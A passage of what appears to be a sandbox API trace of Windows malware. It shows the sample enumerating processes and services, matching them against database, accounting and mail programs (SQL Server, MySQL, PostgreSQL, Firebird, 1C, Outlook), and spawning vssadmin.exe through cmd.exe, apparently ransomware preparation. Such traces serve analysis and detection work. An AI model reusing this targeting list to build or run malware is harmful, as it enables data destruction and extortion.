(lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0039.375] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0039.375] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0039.377] Process32FirstW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.378] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0039.378] lstrlenW (lpString="System") returned 6 [0039.378] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0039.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0039.378] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0039.378] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0039.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0039.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0039.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0039.379] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0039.379] lstrlenW (lpString="smss.exe") returned 8 [0039.379] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0039.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0039.379] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0039.379] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0039.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0039.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0039.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0039.379] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.380] lstrlenW (lpString="csrss.exe") returned 9 [0039.380] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.380] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.380] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0039.380] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0039.381] lstrlenW (lpString="wininit.exe") returned 11 [0039.381] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0039.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0039.381] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0039.381] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0039.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0039.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0039.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0039.381] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0039.382] lstrlenW (lpString="csrss.exe") returned 9 [0039.382] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0039.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0039.382] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0039.382] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0039.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0039.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0039.382] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0039.383] lstrlenW (lpString="winlogon.exe") returned 12 [0039.383] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0039.384] lstrlenW (lpString="services.exe") returned 12 [0039.384] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0039.384] lstrlenW (lpString="lsass.exe") returned 9 [0039.384] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0039.385] lstrlenW (lpString="lsm.exe") returned 7 [0039.385] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.386] lstrlenW (lpString="svchost.exe") returned 11 [0039.386] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.386] lstrlenW (lpString="svchost.exe") returned 11 [0039.386] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.387] lstrlenW (lpString="svchost.exe") returned 11 [0039.387] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.388] lstrlenW (lpString="svchost.exe") returned 11 [0039.388] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.388] lstrlenW (lpString="svchost.exe") returned 11 [0039.388] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0039.389] lstrlenW (lpString="audiodg.exe") returned 11 [0039.389] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.390] lstrlenW (lpString="svchost.exe") returned 11 [0039.390] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.391] lstrlenW (lpString="svchost.exe") returned 11 [0039.391] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0039.391] lstrlenW (lpString="dwm.exe") returned 7 [0039.392] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0039.392] lstrlenW (lpString="explorer.exe") returned 12 [0039.392] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0039.393] lstrlenW (lpString="spoolsv.exe") returned 11 [0039.393] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.393] lstrlenW (lpString="taskhost.exe") returned 12 [0039.393] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0039.394] lstrlenW (lpString="svchost.exe") returned 11 [0039.394] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0039.395] lstrlenW (lpString="taskeng.exe") returned 11 [0039.395] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0039.395] lstrlenW (lpString="taskhost.exe") returned 12 [0039.395] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0039.396] lstrlenW (lpString="obligations-breath.exe") returned 22 [0039.396] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0039.396] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0039.396] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0039.397] lstrlenW (lpString="achieving.exe") returned 13 [0039.398] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0039.398] lstrlenW (lpString="venice.exe") returned 10 [0039.398] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0039.399] lstrlenW (lpString="owns.exe") returned 8 [0039.399] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0039.400] lstrlenW (lpString="faster momentum.exe") returned 19 [0039.400] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0039.400] lstrlenW (lpString="vital_reasons.exe") returned 17 [0039.400] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0039.401] lstrlenW (lpString="everyone.exe") returned 12 [0039.401] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0039.402] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0039.402] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0039.403] lstrlenW (lpString="bored_excluded.exe") returned 18 [0039.403] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0039.404] lstrlenW (lpString="mothers.exe") returned 11 [0039.404] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0039.405] lstrlenW (lpString="career-fed.exe") returned 14 [0039.405] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0039.405] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0039.405] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0039.416] lstrlenW (lpString="initial_utilization.exe") returned 23 [0039.416] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0039.416] lstrlenW (lpString="cf-represent.exe") returned 16 [0039.416] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0039.417] lstrlenW (lpString="tue.exe") returned 7 [0039.417] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0039.418] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0039.418] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0039.418] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0039.418] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0039.419] lstrlenW (lpString="stuff_event.exe") returned 15 [0039.419] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0039.420] lstrlenW (lpString="keywords-copies.exe") returned 19 [0039.420] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0039.420] lstrlenW (lpString="lap.exe") returned 7 [0039.420] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.421] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.421] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0039.422] lstrlenW (lpString="chrome64b.exe") returned 13 [0039.422] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.422] lstrlenW (lpString="cmd.exe") returned 7 [0039.422] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.423] lstrlenW (lpString="conhost.exe") returned 11 [0039.423] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0039.424] lstrlenW (lpString="vssadmin.exe") returned 12 [0039.424] Process32NextW (in: hSnapshot=0x1bc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0039.425] CloseHandle (hObject=0x1bc) returned 1 [0039.425] Sleep (dwMilliseconds=0x1f4) [0040.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fb88 [0040.269] EnumServicesStatusExW (in: hSCManager=0x66fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0040.269] GetLastError () returned 0xea [0040.269] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6e1eb0 [0040.270] EnumServicesStatusExW (in: hSCManager=0x66fb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0040.270] CloseServiceHandle (hSCObject=0x66fb88) returned 1 [0040.270] lstrlenW (lpString="Appinfo") returned 7 [0040.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.271] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.271] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.271] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.271] lstrlenW (lpString="AudioSrv") returned 8 [0040.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.271] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.271] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.271] lstrlenW (lpString="BFE") returned 3 [0040.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.271] lstrlenW (lpString="CryptSvc") returned 8 [0040.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.271] lstrlenW (lpString="CscService") returned 10 [0040.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.271] lstrlenW (lpString="DcomLaunch") returned 10 [0040.271] lstrcmpiW 